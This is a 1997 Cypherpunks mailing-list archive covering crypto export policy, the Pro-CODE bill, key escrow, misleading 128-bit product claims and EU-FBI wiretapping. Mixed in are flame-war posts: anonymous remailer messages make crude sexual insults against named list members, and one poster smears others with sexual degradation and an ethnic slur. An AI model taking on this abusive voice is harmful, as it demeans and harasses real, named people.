<199702270706.BAA09372@manifold.algebra.com> Message-ID: <33153E98.3DCD@gte.net> > > Igor Chudov @ home wrote: > > > Dale Thorn wrote: > > > > E. Allen Smith wrote: > > > > > There was some discussion from Toto et al (whom I'd guess you'd (sensibly) > > > > > filtered out) of blocking postings from Senate and House addresses, > > > > > (If DLVulis was a participant in the discussion (I wouldn't notice, > > > > > given that I generally delete his messages before reading), he > > > > > would be a probable exception to the latter part of the last sentence.) > > > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit > > > > whiny asshole Smith beating up on Toto and Vulis for the nth time. > > > remember dale, you and dr. vulis are also beating on john gilmore & co. > > True, but, Smith viciously attacked me before I said anything about > > him, and he did so not because I was some kind of authority inter- > > fering with his life (like a lying, cheating, censoring list mgr.), > > but simply because he didn't like my posts. > :) and you are attacking him because you did not like his posts. Not the same thing at all. Any posts he may have made about any list topic (whether "on-topic" or not) I did not jump on him for. I have made specific comments disagreeing with people about factual or theoretical particulars, or I've made disparaging comments about list "leaders" using their "reputation capital" to shove other people out of their way like bullies, but I haven't taken to calling ordinary list subscribers names because I think they're paranoid (which I'm really not, though I'm a "professional" conspiratologist), or because I otherwise disagree with them. I looked at one archive the other day, and it contained 850+ messages by me posted to cypherpunks between approximately 1 Sep 96 and late Jan 97. I think you'll find them very consistent, and although I could be accused of harboring my own arrogance in some areas, I can handle any criticism you put forth, since you (for example) don't slander me gratuitously or viciously. Several months ago, I made a post where I said that approx. 95% of people stay within the confines of their parents' religion for life, meaning that while they may change denominations, or split different hairs on various dogmas, they still remain Catholic if their parents were Catholic, etc. One of the list "leaders" chose to say I didn't know what I was talking about, even though I very well did know what I was talking about (and I told him so), so he replied that he didn't want me putting his email address in any of my posts (i.e., don't hit the reply-to-all button unless I manually delete his name), and has steadfastly ignored me ever since. I don't mind being ignored, in fact, it gives me time to do better things than argue with persons who don't really listen, but what pisses me off is this bully-like arrogance on the part of some of the clique who would really like to get rid of people like me, but can't recommend it since it would damage their already fragile reputation. From lucifer at dhp.com Thu Feb 27 03:38:28 1997 From: lucifer at dhp.com (lucifer Anonymous Remailer) Date: Thu, 27 Feb 1997 03:38:28 -0800 (PST) Subject: Meet-in-the-middle attack Message-ID: <199702271138.GAA03792@dhp.com> Timothy Mayflower's wee-wee is so tiny that only his mommy is allowed to touch it. . o c , `'#v-- --v#`' Timothy Mayflower /'> <`\ From pgut001 at cs.auckland.ac.nz Thu Feb 27 05:43:26 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Thu, 27 Feb 1997 05:43:26 -0800 (PST) Subject: Presidential decrees and emergency powers Message-ID: <85705099728103@cs26.cs.auckland.ac.nz> The letter/executive order from Bill Clinton which transfers control of encryption and related items to the EAR contains a mention of: ... the national emergency described and declared in Executive Order 12924 of August 19, 1994, and continued on August 15, 1995, and August 14, 1996, necessitated by the expiration of the Export Administration Act (EAA) on August 20, 1994, I hereby report to the Congress that pursuant to section 204(b) of the International Emergency Economic Powers Act, 50 U.S.C. 1703(b) (the "Act"), I have today exercised the authority granted by the Act to issue an Executive order (a copy of which is attached)... Does anyone know what national emergency this refers to, and what the section of the emergency economic powers act covers? I seem to remember a post by someone who had traced it back through endless levels of indirection to a police action in Korea or something, but haven't been able to find any more information. Peter. From jya at pipeline.com Thu Feb 27 06:23:58 1997 From: jya at pipeline.com (John Young) Date: Thu, 27 Feb 1997 06:23:58 -0800 (PST) Subject: Presidential decrees and emergency powers Message-ID: <1.5.4.32.19970227141703.006ddeb8@pop.pipeline.com> There's a list of Executive Orders from 1970-96 on emergency powers at: http://jya.com/eo-export.txt A related Presidential Notice is at: http://jya.com/no081496.htm Some of the latest Executive Orders related to export administration are listed under "background" at: http://jyacom/eartoc.htm The range of consequences of "emergency power" is vast, and traces of its affect is found in many governmental regulations and legislation. We're adding documents to our site as we find them, from the Departments of State, Defense and Commerce: http://jya.com/crypto.htm From jya at pipeline.com Thu Feb 27 06:34:44 1997 From: jya at pipeline.com (John Young) Date: Thu, 27 Feb 1997 06:34:44 -0800 (PST) Subject: 128_bit Message-ID: <1.5.4.32.19970227142755.006eff20@pop.pipeline.com> 2-26-97. "Security Dynamics Unveils RSA SecurPC 2.0" The package is claimed to the first 128-bit encryption software to be exported from the US and its territories, and allows companies to implement "seamless, full-strength encryption" worldwide. ----- 128_bit From aba at dcs.ex.ac.uk Thu Feb 27 10:05:04 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 27 Feb 1997 10:05:04 -0800 (PST) Subject: GCHQ On Escrow Sham In-Reply-To: <1.5.4.32.19970226195118.006ba3bc@pop.pipeline.com> Message-ID: <199702271735.RAA00621@server.test.net> John Young writes: > The GCHQ spook heading the EU's group on crypto policy > admits that law enforcement demand for key escrow is just > a cover for foreign intelligence: > > http://www.cs.berkeley.edu/~daw/GCHQ/ Some interesting extracts from the Herson interview from that web page, Herson speaking: : ...in practice export control means use control. There is an ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ : indirect mechanism, which means that ... If you take the old : paradigm that exportability means exploitability - the only : cryptography, that is available to the business and private user is : exploitable cryptography... ie They don't care about exports what they care about is stopping people using strong crypto, but they use export controls as an excuse. and: > Interviewer: "What do you think about the fact that the crypto > debate focuses on privacy versus Law Enforcement ?" > > Herson: "Law Enforcement is a protective shield for all the other > governmental activities . You should use the right word - > we're talking about foreign intelligence, that's what we're talking ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > about - that's what all this is about. There is no question - > that's what it is about. The Law enforcement is a smoke screen, ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > because we all understand law enforcement, policemen, courts, this > is something we see everyday in our life. And it's an important > element, I'm not suggesting it's not relevant but it is a protective > shield for what goes on behind that. ..." ie law enforcement interests (horsemen of apocalypse, terrorists, pedophiles, pornographers, etc) are just a smoke screen, what it's really about is maintaining foreign signals intelligence for cold war type spy purposes. Are you sure he works for GCHQ? I'm shocked ... such honesty. You'd never catch Clinton or Freeh admitting the above was the agenda Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 The National Counterintelligence Center (NACIC) announced today in the Federal Register a new system of records. There's an explanation of the NACIC and what it tries to do, reciting the James Angleton/Aldrich Ames myrrh mantra. http://jya.com/ncc022797.txt The new records system includes: "6. Compromised Names Database. The purpose of the database is to notify US intelligence community personnel whose names were potentially compromised as a result of espionage or other foreign intelligence collection activity. NACIC reviews pertinent reports to determine documents that were possibly passed in a particular case and then reviews those documents for names. The database contains the names of persons potentially compromised, date of the memo sent to the person or their employer informing them, the document number of where the person's name came from, document title, and document date." From jya at pipeline.com Thu Feb 27 11:00:25 1997 From: jya at pipeline.com (John Young) Date: Thu, 27 Feb 1997 11:00:25 -0800 (PST) Subject: Presidential decrees and emergency powers Message-ID: <1.5.4.32.19970227185336.00703a38@pop.pipeline.com> We've put the full 50USC Chapter 35 -- International Emergency Economic Powers at: http://jya.com/50usc35.txt (284K) Section 1701 is the great bulk of it, and describes the purpose of emergency economic power. And lists the current enemies -- rogue nations and terrorists -- used, as were predecessors, to justify its never-ending renewal. From shabbir at vtw.org Thu Feb 27 13:23:26 1997 From: shabbir at vtw.org (Voters Telecommunications Watch) Date: Thu, 27 Feb 1997 13:23:26 -0800 (PST) Subject: No Subject Message-ID: <199702272123.QAA28997@panix3.panix.com> ======================================================================== PRO-CODE BILL ANNOUNCED TODAY BILL WOULD LIBERATE ENCRYPTION FROM ANTIQUATED COLD-WAR REGULATIONS February 27, 1997 Please widely redistribute this document with this banner intact until March 15, 1997 From the Center for Democracy and Technology (CDT), the Electronic Frontier Foundation (EFF), and the Voters Telecommunication Watch (VTW) ________________________________________________________________________ CONTENTS The Latest News What You Can Do Now Background On Pro-CODE What's At Stake For More Information / Supporting Organizations ________________________________________________________________________ THE LATEST NEWS Today, a bi-partisan group of seventeen United States Senators, led by Conrad Burns (R-MT) and Patrick Leahy (D-VT), introduced the "Promotion of Commerce Online in the Digital Era (Pro-CODE) Act", a bill designed to promote privacy and security on the Internet by relaxing government controls on encryption technologies. Encryption technologies are the locks and keys of the Information age -- enabling individuals and businesses to protect sensitive information as it is transmitted over the Internet. Pro-CODE aims to enable this by removing some of the regulations that currently prevent Americans from using this technology. A short summary of the bill and background on the encryption policy debate are attached below, along with information on what you can do to help ensure that Congress takes action on this important issue. ________________________________________________________________________ WHAT YOU CAN DO NOW 1. CALL THE Pro-CODE SPONSORS AND THANK THEM FOR THEIR EFFORTS Members of Congress tend to hear from their constituents only when they do something constituents don't like. Today however, several Senators have taken a stand on an issue of critical importance to Internet users. It's crucial that we encourage them with phone calls of support. If you live in any of the states listed below, please take a moment to give these Senators a call. Allard (R-CO) Ashcroft (R-MO) Boxer (D-CA) Brownback (R-KS) Burns (R-MT) Craig (R-ID) Dominici (R-NM) Dorgan (D-ND) Faircloth (R-NC) Grahms (R-MN) Hutchison (R-TX) Inhoffe (R-OK) Kempthorne (R-ID) Leahy (D-VT) Lott (R-MS) Murray (D-WA) Nickles (R-OK) Thomas (R-WY) Wyden (D-OR) Please take a moment to give these Senators a call. You:Senator Mojo's office please! Sen:Hello, Senator Mojo's office! You: SAY I heard that the Senator introduced Pro-CODE to add more privacy on THIS-> the Internet. Please thank the Senator for me and I support efforts to fix antiquated encryption export laws. I live in . Sen:Ok, thanks! 2. ADOPT YOUR LEGISLATOR If you were one of the thousands of people that have adopted their legislator at http://www.crypto.com/, you would have received a personalized letter telling you that your legislator announced his or her sponsorship of Pro-CODE today. These personalized letters contain all the phone numbers you need, and we'll send them to you any time your legislator takes any action that would have a significant impact on the net. The Adopt Your Legislator campaign is the most effective method of mobilizing grass-roots support available today. Since late last year, VTW and CDT have been building a network of thousands of Internet users who are active and engaged in the fight for privacy and security on the Internet. By focusing our efforts on the constituents of specific legislators as well as on the net as a whole, we can ensure that members of Congress know that they have support within their district as well as throughout the Internet community. You can adopt your legislator at http://www.crypto.com/adopt/ ________________________________________________________________________ BACKGROUND ON THE PRO-CODE BILL The Promotion of Commerce Online in the Digital Era (Pro-CODE) Act is similar to a bill introduced by Senators Burns (R-MT) and Leahy (D-VT) last year (then S.1726). Pro-CODE enjoyed broad bi-partisan support in the Senate and was the subject of 3 hearings, including 2 which were cybercast live on the Internet. This year's Pro-CODE bill (no bill number yet available) is designed to encourage the widespread availability of strong, easy-to-use encryption technologies to protect privacy and security on the Internet. Specifically, Pro-CODE would: 1. Encourage the widespread availability of strong privacy and security products by relaxing export controls on encryption technologies that are already available on the mass market or in the public domain. This would include popular programs like Pretty Good Privacy (PGP) and World Wide Web browsers like those made by Netscape and Microsoft. Current US encryption policy restricts export of encryption products with key-lengths of more than 40 bits. A recent study by renowned cryptographers including Whit Diffie (one of the fathers of modern cryptography), Matt Blaze, and others concluded that 40 bits is "woefully inadequate" to protect personal and business communications. Over the last eighteen months, several examples of the weakness of 40-bit encryption have been demonstrated by college students with spare personal computers. 2. Prohibit the federal government from imposing mandatory key-escrow or key-recovery encryption policies on the domestic market and limit the authority of the Secretary of Commerce to set standards for encryption products. 3. Require the Secretary of Commerce to allow the unrestricted export of other encryption technologies if products of similar strength are generally available outside the United States. For more information on the Pro-CODE bill, background information on efforts to pass encryption policy reform legislation last year, and other materials please visit: For more information, see the Encryption Policy Resource Page at http://www.crypto.com/ ________________________________________________________________________ WHAT'S AT STAKE Encryption technologies are the locks and keys of the Information age -- enabling individuals and businesses to protect sensitive information as it is transmitted over the Internet. As more and more individuals and businesses come online, the need for strong, reliable, easy-to-use encryption technologies has become a critical issue to the health and viability of the Net. Current US encryption policy, which limits the strength of encryption products US companies can sell abroad, also limits the availability of strong, easy-to-use encryption technologies in the United States. US hardware and software manufacturers who wish to sell their products on the global market must either conform to US encryption export limits or produce two separate versions of the same product, a costly and complicated alternative. The export controls, which the NSA and FBI argue help to keep strong encryption out of the hands of foreign adversaries, are having the opposite effect. Strong encryption is available abroad, but because of the export limits and the confusion created by nearly four years of debate over US encryption policy, strong, easy-to-use privacy and security technologies are not widely available off the shelf or "on the net" here in the US. Because of this policy problem, US companies are now at a competitive disadvantage in the global marketplace. All of us care about our national security, and no one wants to make it any easier for criminals and terrorists to commit criminal acts. But we must also recognize encryption technologies can also aid law enforcement and protect national security by limiting the threat of industrial espionage and foreign spying. What's at stake in this debate is nothing less than the future of privacy and the fate of the Internet as a secure and trusted medium for commerce, education, and political discourse. ________________________________________________________________________ FOR MORE INFORMATION / SUPPORTING ORGANIZATIONS This alert was brought to you by the Center for Democracy and Technology, the Electronic Frontier Foundation, and the Voters Telecommunications Watch. http://www.cdt.org http://www.eff.org http://www.vtw.org There are many excellent resources online to get up to speed on the crypto issue including the following WWW sites: http://www.crypto.com http://www.privacy.org Please visit them often. Press inquiries should be directed to: Jonah Seiger of CDT at jseiger at cdt.org or +1.202.637.9800 Stanton McCandlish of EFF at mech at eff.org or +1.415.436.9333 Shabbir J. Safdar of VTW at shabbir at vtw.org or +1.917.978.8430 (beeper). ________________________________________________________________________ End alert ======================================================================== From 3umoelle at informatik.uni-hamburg.de Thu Feb 27 13:27:55 1997 From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=) Date: Thu, 27 Feb 1997 13:27:55 -0800 (PST) Subject: GCHQ On Escrow Sham In-Reply-To: <199702271735.RAA00621@server.test.net> Message-ID: <9702272126.AA40614@public.uni-hamburg.de> At least now, Herson works for the European Commisson. In case anyone is interested, his phone number and e-mail address can be found at . From pgut001 at cs.auckland.ac.nz Thu Feb 27 13:57:38 1997 From: pgut001 at cs.auckland.ac.nz (Peter Gutmann) Date: Thu, 27 Feb 1997 13:57:38 -0800 (PST) Subject: Presidential decrees and emergency powers Message-ID: <85708065028816@cs26.cs.auckland.ac.nz> >We've put the full 50USC Chapter 35 -- International Emergency Economic >Powers at: > > http://jya.com/50usc35.txt (284K) Thanks. This contains (among other things) the interesting Executive Order: >Continuation of National Emergency Declared by Ex. Ord. No. 12924 > >Notice of President of the United States, dated Aug. 15, 1995, 60 F.R. 42767, >provided: > >On August 19, 1994, consistent with the authority provided me under the >International Emergency Economic Powers Act (50 U.S.C. 1701 et seq.), I >issued Executive Order No. 12924 [set out above]. In that order, I declared a >national emergency with respect to the unusual and extraordinary threat to >the national security, foreign policy, and economy of the United States in >light of the expiration of the Export Administration Act of 1979, as amended >(50 U.S.C. 2401 et seq.). Because the Export Administration Act has not been >renewed by the Congress, the national emergency declared on August 19, 1994, >must continue in effect beyond August 19, 1995. Therefore, in accordance with >section 202(d) of the National Emergencies Act (50 U.S.C. 1622(d)), I am >continuing the national emergency declared in Executive Order No. 12924. So the fact that Congress won't continue a law is justification for declaring an emergency which is justification for continuing it by presidential decree instead. Scary. Unfortunately it doesn't list all the earlier, expired decrees which would show what was originally used to start this thing off ("... the unusual and extraordinary threat to the national security, foreign policy, and economy of the United States in light of the British army currently marching on Washington" perhaps?) Peter. From dlv at bwalk.dm.com Thu Feb 27 14:35:54 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 27 Feb 1997 14:35:54 -0800 (PST) Subject: Senate spams In-Reply-To: <199702270603.AAA08703@manifold.algebra.com> Message-ID: ichudov at algebra.com (Igor Chudov @ home) writes: > adam and others, > > sorry i was not able to read the list before and did not know > about the senate spam. > > i vaguely recall the us senate voting in droves to elect david c > lawrence kook of the month june 1996... but the > truth prevailed. They voted from their accounts on algebra.com, didn't they? --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Thu Feb 27 14:39:21 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Thu, 27 Feb 1997 14:39:21 -0800 (PST) Subject: "Suspected of purchasing diesel fuel" In-Reply-To: <33151F6A.22BF@gte.net> Message-ID: Dale Thorn writes: > Dr.Dimitri Vulis KOTM wrote: > > das at razor.engr.sgi.com (Anil Das) writes: > > > On Feb 25, 10:47pm, Alan Olsen wrote: > > > > "We have met the Enemy and they is us." > > > Er.. I thought the discussion of cypherpunks list moderation is over. > > > I think not. I think a weekly FAQ regarding the reputation of > > John Gilmore (spit), Sameer Pareekh (spit), Sandy Sandfort (spit), > > Greg Broils (spit) and C2Net (spit) is in order. > > Did you see where Greg (apparently one of the C2 employees) said that > moderation actually *won*, and that's apparently what you, I, and all > the rest of the folks *really* wanted? History is not boring, since > it's constantly being (re)written! Greb Broils lies, of course, but he's just an entry-level lackey at C2Net. Greg will post whatever lies his boss Sameer "Arab terrorist from Connecticut" Parekh pays him to post. Greg will suck whichever cock Sameer Parekh pays him to suck. Greg Broils is a whore. Sameer Parekh is his pimp. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From aba at dcs.ex.ac.uk Thu Feb 27 15:27:38 1997 From: aba at dcs.ex.ac.uk (Adam Back) Date: Thu, 27 Feb 1997 15:27:38 -0800 (PST) Subject: 128_bit In-Reply-To: <1.5.4.32.19970227142755.006eff20@pop.pipeline.com> Message-ID: <199702272325.XAA01529@server.test.net> John Young offered RSADS/Security Dynamics press release: > 2-26-97. > > "Security Dynamics Unveils RSA SecurPC 2.0" > > The package is claimed to the first 128-bit encryption software to > be exported from the US and its territories, and allows companies > to implement "seamless, full-strength encryption" worldwide. Seems the sales blurb press release from RSADS/Security Dynamics is misleading, checking out the web page referenced: (http://www.rsa.com/rsa/prodspec/rsasec/sec_eval/) Crypto strength reduced, but functionality intact In order to make this ground-breaking product available internationally, we have applied for and received a Commodity Jurisdiction from the US Department of Commerce. This means that the strength of the cryptography has been reduced from the commercial product available in the US and Canada in order to comply with cryptographic export regulations, but the rest of the functionality has been left intact. This Trial version of RSA SecurPC uses 40-bit RC4 keys and 512-bit RSA keys. For more information about the product, see the product description page. What happened to "the first 128-bit encryption software to be exported from the US and its territories"? In reality: more 40 bit cripple-ware. Adam -- print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <33162191.65A8@sk.sympatico.ca> And this precious gem came from mark green. | ,@ __|-. ,_~o/ \/ | Through the router, off the switch, |/ | down the cable, nothing but net. / > | ' ` | The @Home slam dunk | __________________| -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From jya at pipeline.com Thu Feb 27 16:51:36 1997 From: jya at pipeline.com (John Young) Date: Thu, 27 Feb 1997 16:51:36 -0800 (PST) Subject: More EI Public Comments Message-ID: <1.5.4.32.19970228004454.0070dd50@pop.pipeline.com> BXA has listed two more public comments on encryption transfers at its Web site: 44. Electronic Messaging Association 45. American Electronics Association BXA's PDF versions at: http://www.bxa.doc.gov/44-.pdf (420K) http://www.bxa.doc.gov/45-.pdf (339K) Our HTML conversions at: http://jya.com/bxapc44.htm (17K) http://jya.com/bxapc45.htm (16K) From jya at pipeline.com Thu Feb 27 17:17:44 1997 From: jya at pipeline.com (John Young) Date: Thu, 27 Feb 1997 17:17:44 -0800 (PST) Subject: EU and FBI Wiretap Scheme Message-ID: <1.5.4.32.19970228011102.00743c6c@pop.pipeline.com> This sounds like what Spook Herson admitted in his interview: February 25, 1997 Report: Europe OKs Wiretap Rules London (AP) -- Europe has agreed to establish international standards with the U.S. Federal Bureau of Investigations to enable authorities to tap telephones and messages sent by fax, telex and e-mail, a London newspaper reported Tuesday. The Guardian newspaper said it obtained a preliminary agreement signed by European Union nations in 1995 that calls for telecommunications companies to provide security agencies with the key to codes installed in equipment sold to customers. The newspaper report could not be confirmed independently. The aim of the alliance between U.S. and EU agencies was to set a common standard for "international interception,'' the newspaper reported. Full details on the agreement are being drawn up by officials working in European Union committees, it said. The report said European officials drafted a memorandum of understanding after Britain warned that mobile telephone systems in the hands of organized criminals posed an international threat. ---------- Thanks to D. If anyone has the Guardian article, a copy would be appreciated. Fax to: (US) 212-799-4003 Or scan it and send e-mail to . From toto at sk.sympatico.ca Thu Feb 27 17:38:25 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 27 Feb 1997 17:38:25 -0800 (PST) Subject: 128_bit In-Reply-To: <199702272325.XAA01529@server.test.net> Message-ID: <33164EDB.6424@sk.sympatico.ca> Adam Back wrote: > John Young offered RSADS/Security Dynamics press release: > > "Security Dynamics Unveils RSA SecurPC 2.0" > > The package is claimed to the first 128-bit encryption software to > > be exported from the US and its territories, and allows companies > > to implement "seamless, full-strength encryption" worldwide. > > Seems the sales blurb press release from RSADS/Security Dynamics is > misleading, checking out the web page referenced: > (http://www.rsa.com/rsa/prodspec/rsasec/sec_eval/) > > This Trial version of RSA SecurPC uses 40-bit > RC4 keys and 512-bit RSA keys. For more > information about the product, see the > product description page. > > What happened to "the first 128-bit encryption software to be exported > from the US and its territories"? In reality: more 40 bit cripple-ware. I sent these guys an email a week or so ago suggesting that if their algorithm was as good as their advertising, then it must indeed be a magnificent product, since their advertising is able to magically turn 40-bit encryption into 128-bit encryption. They sent me back an email thanking me for supporting their product. -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From toto at sk.sympatico.ca Thu Feb 27 17:38:34 1997 From: toto at sk.sympatico.ca (Toto) Date: Thu, 27 Feb 1997 17:38:34 -0800 (PST) Subject: Strange Looks In-Reply-To: <9702280023.AA15385@banshee.BASISinc.com> Message-ID: <331651C7.568@sk.sympatico.ca> Mike Denney wrote: Subject: new regulations Sent: 2/25/97 11:31 PM Received: 2/25/97 3:49 PM From: Ken Wallace, kwallace at pragma.com To: larry at dentistat.com TO ALL EMPLOYEES It has been brought to the management's attention that some individuals have been using foul language in the course of normal conversation between employees. Due to complaints from some more easily offended workers, this conduct will no longer be tolerated. The management does, however, realize the importance of each person being able to properly express their feelings when communicating with their fellow employees. Therefore the management has compiled the following code phrases, so that the proper exchange of ideas and information can continue. Old Phrase New Phrase ---------- ---------- No fucking way I'm not certain that's feasible. You've got to be shitting me Really? Tell someone who gives a fuck Perhaps you should check with ... Ask me if I give a fuck Of course I'm concerned. It's not my fucking problem I wasn't involved in that project. What the fuck? Interesting behavior. Fuck it, it won't work I'm not sure I can implement this. Why the fuck didn't you tell me I'll try to schedule that. that sooner? When the fuck do you expect me to Perhaps I can work late. do this? Who the fuck cares? Are you sure it's a problem? He's got his head up his ass He's not familiar with that problem. Eat shit You don't say. Eat shit and die Excuse me? Eat shit and die motherfucker Excuse me, sir? What the fuck do they want from me They weren't happy with it? Kiss my ass So you'd like help with it? Fuck it. I'm on salary I'm a bit overloaded at the moment. Shove it up your ass I don't think you understand. This job sucks I love a challenge. Who the hell died and made you boss You want me to take care of this? Blow me I see. Blow yourself Do you see? Another fucking meeting Yes, we should discuss this. I really don't give a shit I don't think it will be a problem. Fuck you How nice. How very nice! -- Toto ----------------------------- "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From jya at pipeline.com Thu Feb 27 19:02:22 1997 From: jya at pipeline.com (John Young) Date: Thu, 27 Feb 1997 19:02:22 -0800 (PST) Subject: More on EU and FBI Wiretapping Message-ID: <1.5.4.32.19970228025536.00755420@pop.pipeline.com> Thanks to CA: EPIC reports today on the EU-FBI wiretap pact. It gives this URL for the source document which lays out the interception deception: http://www.privacy.org/pi/activities/tapping/ See EPIC's full report at: http://www.epic.org/ [1] New Report Details FBI/European Tapping Agreements [2] Airline Security Report Released [3] Briefs Filed in Reno v. ACLU Internet "Indecency" Challenge [4] Crypto Legislation Introduced [5] Clipper Upgrade at DOD/Litigation Update [6] State Department Reports Widespread Illegal Wiretapping Worldwide [7] New Medical Privacy Survey [8] Upcoming Conferences and Events From nobody at jefferson.hidden.net Thu Feb 27 19:21:01 1997 From: nobody at jefferson.hidden.net (Anonymous) Date: Thu, 27 Feb 1997 19:21:01 -0800 (PST) Subject: ZKP Message-ID: <199702280316.TAA07227@jefferson.hidden.net> Tim C[ocksucker] Mayo must have been sharing needles with a rabid hedgehog. o-:^>___? Tim C[ocksucker] Mayo `~~c--^c' From jf_avon at citenet.net Thu Feb 27 19:45:54 1997 From: jf_avon at citenet.net (Jean-Francois Avon) Date: Thu, 27 Feb 1997 19:45:54 -0800 (PST) Subject: Look what SPAM I got today [Customers for You !!!] Message-ID: <9702280345.AA21386@cti02.citenet.net> Hi Cypherpunks. Long time no lurk. Too busy defending the right to own unregistered guns and getting involved in local politics to dwell on the shortfalls of OS/2 PGP shells for PM GUI. PGP apps for OS/2 sucks! Anyhow, if you have any comments on the forwarded message, please Cc me. Is there a limit to spamming? Is there a way to attach nitroglycerine to an e-mail reply? ( I know Jim Bell has a few suggestions about that... :-) Ciao all JFA ------- Forwarded Message Follows ------- Date: Thu, 27 Feb 1997 12:06:09 -0500 (EST) From: Quantum Communications To: "jctracey at sprynet.com" Subject: Customers for You !!! Would you like more customers? Visit http://www.quantcom.com Everyone knows that the hottest way to find new customers and market your business is via direct Email. Quantum Communications offers direct Email advertising services, and related marketing services, with the following highlights: ------> Guaranteed Response Rate! Up to 3% Guaranteed Response. ------> 100% Approved Financing! No Credit Checks! ------> Never Again Get Shut Off By Your ISP! We Offer Flame-Filtering & Free Auto-Responders! ------> Targeted Mailings, Using Custom-Built Lists With Your Parameters. ------> 5 Million Recipient Co-op "The Mega-Mailer" is available. ------> Stand-Alone Mailings Available. ------> Wholesale Unlimited Access To Our "Self-Service" SMTP Mail Servers Available. ------> Ad Copy Design & Revision Available. ------> "Floodgate" Bulk E-Mail Software Available. Quantum Communications also offers Virtual Servers complete with full POP3 Email accounts and domain registration, lists of Email addresses for sale, search engine submissions, newsgroup posting announcements, and web page design. Call our Sales Department at (603) 772-4096 for details, or Visit our website at http://www.quantcom.com You may also send an email to our autoresponder: info at quantcom.com or direct specific questions to sales at quantcom.com Thank you for your time. ------- end of forwarded message ------ -- Jean-Francois Avon, Pierrefonds(Montreal) QC Canada JFA Technologies, R&D consultants. physicists, engineers and technologists. PGP keys at: http://w3.citenet.net/users/jf_avon and: http://bs.mit.edu:8001/pks-toplev.html ID# C58ADD0D : 529645E8205A8A5E F87CC86FAEFEF891 ID# 5B51964D : 152ACCBCD4A481B0 254011193237822C From stewarts at ix.netcom.com Thu Feb 27 20:33:07 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Thu, 27 Feb 1997 20:33:07 -0800 (PST) Subject: DNSSEC Encryption for DNS registration and ITAR Nonsense In-Reply-To: <199702120859.AAA27060@songbird.com> Message-ID: <3.0.1.32.19970227203009.00629a08@popd.ix.netcom.com> At 10:14 AM 2/12/97 -0500, "Donald E. Eastlake 3rd" wrote: >People may want to note that yesterday (Feb 11th) the IESG approved the DNS >dynamic update and DNS secure dynamic update (draft-ietf-dnssec-update-04.txt >and draft-ietf-dnsind-dynDNS-11.txt) as Proposed Standards. The base DNS >security protocol was approved some time ago and is now out as RFC 2065. Details are on http://www.tis.com/docs/research/network/dns.html It's a very interesting page - pointers to the RFC http://ds.internic.net/rfc/rfc2065.txt , and downloadable beta code from TIS implementing it. Cool stuff. But then there's the politial correctness part of the web page :-) > Trusted Information Systems, Inc. has received approval from the > United States Government for export and reexport of TIS/DNSSEC software > from the United States of America under the provisions of the Export > Administration Regulations (EAR) General Software Note (GSN) license > exception for mass market software. Under the provisions of this license, > this software may be exported or reexported to all destinations except > for the embargoed countries of Cuba, Iran, Iraq, Libya, North Korea, > Sudan and Syria. Any export or reexport of TIS/DNSSEC software to the embargoed > countries requires additional, specific licensing approval from the > United States Government. Yup. Can't let those Cubans secure their DNS..... At least the government did decide to permit export. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From wombat at mcfeely.bsfs.org Thu Feb 27 20:36:22 1997 From: wombat at mcfeely.bsfs.org (Rabid Wombat) Date: Thu, 27 Feb 1997 20:36:22 -0800 (PST) Subject: ZKP In-Reply-To: <199702280316.TAA07227@jefferson.hidden.net> Message-ID: On Thu, 27 Feb 1997, Anonymous wrote: > Tim [censored] Mayo must have been sharing needles with a rabid > hedgehog. > Stop picking on the oppressed rabid mammals, or things will get ugly for you. From ichudov at algebra.com Thu Feb 27 21:11:34 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Thu, 27 Feb 1997 21:11:34 -0800 (PST) Subject: Moderation/censorship In-Reply-To: <33153E98.3DCD@gte.net> Message-ID: <199702280508.XAA20415@manifold.algebra.com> Dale Thorn wrote: > > > Igor Chudov @ home wrote: > > > > Dale Thorn wrote: > > > > > E. Allen Smith wrote: > > > > > > filtered out) of blocking postings from Senate and House addresses, > > > > > > (If DLVulis was a participant in the discussion (I wouldn't notice, > > > > > > given that I generally delete his messages before reading), he > > > > > So here's this Eastern-establishment George Bush wanna-be piece-of-shit > > > > > whiny asshole Smith beating up on Toto and Vulis for the nth time. > > > > remember dale, you and dr. vulis are also beating on john gilmore & co. > > > > True, but, Smith viciously attacked me before I said anything about > > > him, and he did so not because I was some kind of authority inter- > > > fering with his life (like a lying, cheating, censoring list mgr.), > > > but simply because he didn't like my posts. > > > :) and you are attacking him because you did not like his posts. > > Not the same thing at all. Any posts he may have made about any > list topic (whether "on-topic" or not) I did not jump on him for. Oh well, and he did not jump on Dr. Vulis for any posts concerning the list topic. > I have made specific comments disagreeing with people about factual > or theoretical particulars, or I've made disparaging comments about > list "leaders" using their "reputation capital" to shove other people > out of their way like bullies, but I haven't taken to calling > ordinary list subscribers names because I think they're paranoid > 